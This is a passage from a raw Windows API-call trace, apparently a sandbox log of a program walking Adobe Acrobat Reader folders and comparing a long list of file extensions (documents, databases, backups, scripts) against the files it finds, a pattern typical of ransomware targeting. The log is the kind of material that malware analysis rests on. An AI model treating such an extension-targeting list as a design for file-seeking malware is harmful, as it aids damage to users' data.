lstrlenW (lpString=".ai8") returned 4 [0262.604] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".anim") returned 5 [0262.604] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.604] lstrlenW (lpString=".arw") returned 4 [0262.604] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".as") returned 3 [0262.604] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.604] lstrlenW (lpString=".asa") returned 4 [0262.604] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".asc") returned 4 [0262.604] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.604] lstrlenW (lpString=".ascx") returned 5 [0262.604] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.605] lstrlenW (lpString=".asm") returned 4 [0262.605] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".asmx") returned 5 [0262.605] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.605] lstrlenW (lpString=".asp") returned 4 [0262.605] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".aspx") returned 5 [0262.605] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.605] lstrlenW (lpString=".asr") returned 4 [0262.605] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".asx") returned 4 [0262.605] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".avi") returned 4 [0262.605] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".avs") returned 4 [0262.605] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.605] lstrlenW (lpString=".backup") returned 7 [0262.605] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.605] lstrlenW (lpString=".bak") returned 4 [0262.606] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".bay") returned 4 [0262.606] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".bd") returned 3 [0262.606] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.606] lstrlenW (lpString=".bin") returned 4 [0262.606] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".bmp") returned 4 [0262.606] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".bz2") returned 4 [0262.606] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".c") returned 2 [0262.606] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.606] lstrlenW (lpString=".cdr") returned 4 [0262.606] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".cer") returned 4 [0262.606] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".cf") returned 3 [0262.606] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.606] lstrlenW (lpString=".cfc") returned 4 [0262.606] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".cfm") returned 4 [0262.606] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".cfml") returned 5 [0262.606] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.606] lstrlenW (lpString=".cfu") returned 4 [0262.606] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.606] lstrlenW (lpString=".chm") returned 4 [0262.607] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".cin") returned 4 [0262.607] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".class") returned 6 [0262.607] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.607] lstrlenW (lpString=".clx") returned 4 [0262.607] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".config") returned 7 [0262.607] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.607] lstrlenW (lpString=".cpp") returned 4 [0262.607] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".cr2") returned 4 [0262.607] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".crt") returned 4 [0262.607] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".crw") returned 4 [0262.607] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".cs") returned 3 [0262.607] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.607] lstrlenW (lpString=".css") returned 4 [0262.607] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.607] lstrlenW (lpString=".csv") returned 4 [0262.607] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".cub") returned 4 [0262.608] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dae") returned 4 [0262.608] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dat") returned 4 [0262.608] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".db") returned 3 [0262.608] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.608] lstrlenW (lpString=".dbf") returned 4 [0262.608] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dbx") returned 4 [0262.608] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dc3") returned 4 [0262.608] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dcm") returned 4 [0262.608] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dcr") returned 4 [0262.608] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".der") returned 4 [0262.608] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dib") returned 4 [0262.608] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dic") returned 4 [0262.608] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.608] lstrlenW (lpString=".dif") returned 4 [0262.609] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".divx") returned 5 [0262.609] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".djvu") returned 5 [0262.609] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".dng") returned 4 [0262.609] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".doc") returned 4 [0262.609] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".docm") returned 5 [0262.609] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".docx") returned 5 [0262.609] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".dot") returned 4 [0262.609] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".dotm") returned 5 [0262.609] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".dotx") returned 5 [0262.609] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.609] lstrlenW (lpString=".dpx") returned 4 [0262.609] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".dqy") returned 4 [0262.609] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".dsn") returned 4 [0262.609] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.609] lstrlenW (lpString=".dt") returned 3 [0262.609] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.609] lstrlenW (lpString=".dtd") returned 4 [0262.609] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".dwg") returned 4 [0262.610] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".dwt") returned 4 [0262.610] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".dx") returned 3 [0262.610] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.610] lstrlenW (lpString=".dxf") returned 4 [0262.610] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".edml") returned 5 [0262.610] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.610] lstrlenW (lpString=".efd") returned 4 [0262.610] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".elf") returned 4 [0262.610] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".emf") returned 4 [0262.610] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".emz") returned 4 [0262.610] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".epf") returned 4 [0262.610] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".eps") returned 4 [0262.610] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.610] lstrlenW (lpString=".epsf") returned 5 [0262.610] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.610] lstrlenW (lpString=".epsp") returned 5 [0262.610] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.610] lstrlenW (lpString=".erf") returned 4 [0262.611] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".exr") returned 4 [0262.611] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".f4v") returned 4 [0262.611] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".fido") returned 5 [0262.611] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.611] lstrlenW (lpString=".flm") returned 4 [0262.611] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".flv") returned 4 [0262.611] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".frm") returned 4 [0262.611] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".fxg") returned 4 [0262.611] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".geo") returned 4 [0262.611] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".gif") returned 4 [0262.611] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".grs") returned 4 [0262.611] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".gz") returned 3 [0262.611] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.611] lstrlenW (lpString=".h") returned 2 [0262.611] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.611] lstrlenW (lpString=".hdr") returned 4 [0262.611] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".hpp") returned 4 [0262.611] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.611] lstrlenW (lpString=".hta") returned 4 [0262.612] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".htc") returned 4 [0262.612] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".htm") returned 4 [0262.612] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".html") returned 5 [0262.612] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.612] lstrlenW (lpString=".icb") returned 4 [0262.612] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".ics") returned 4 [0262.612] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".iff") returned 4 [0262.612] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".inc") returned 4 [0262.612] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".indd") returned 5 [0262.612] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.612] lstrlenW (lpString=".ini") returned 4 [0262.612] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".iqy") returned 4 [0262.612] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".j2c") returned 4 [0262.612] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.612] lstrlenW (lpString=".j2k") returned 4 [0262.612] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.613] lstrlenW (lpString=".java") returned 5 [0262.613] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.613] lstrlenW (lpString=".jp2") returned 4 [0262.613] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.613] lstrlenW (lpString=".jpc") returned 4 [0262.613] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.613] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.613] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0262.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.613] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0262.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bb0 [0262.614] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.614] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.614] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.614] FindClose (in: hFindFile=0x3315bb0 | out: hFindFile=0x3315bb0) returned 1 [0262.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.614] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0262.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.614] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0262.615] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.615] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.615] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.615] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0262.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.615] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0262.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.615] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0262.616] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.616] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.616] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.616] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0262.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.616] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0262.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0262.617] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.618] FindClose (in: hFindFile=0x33157b0 | out: 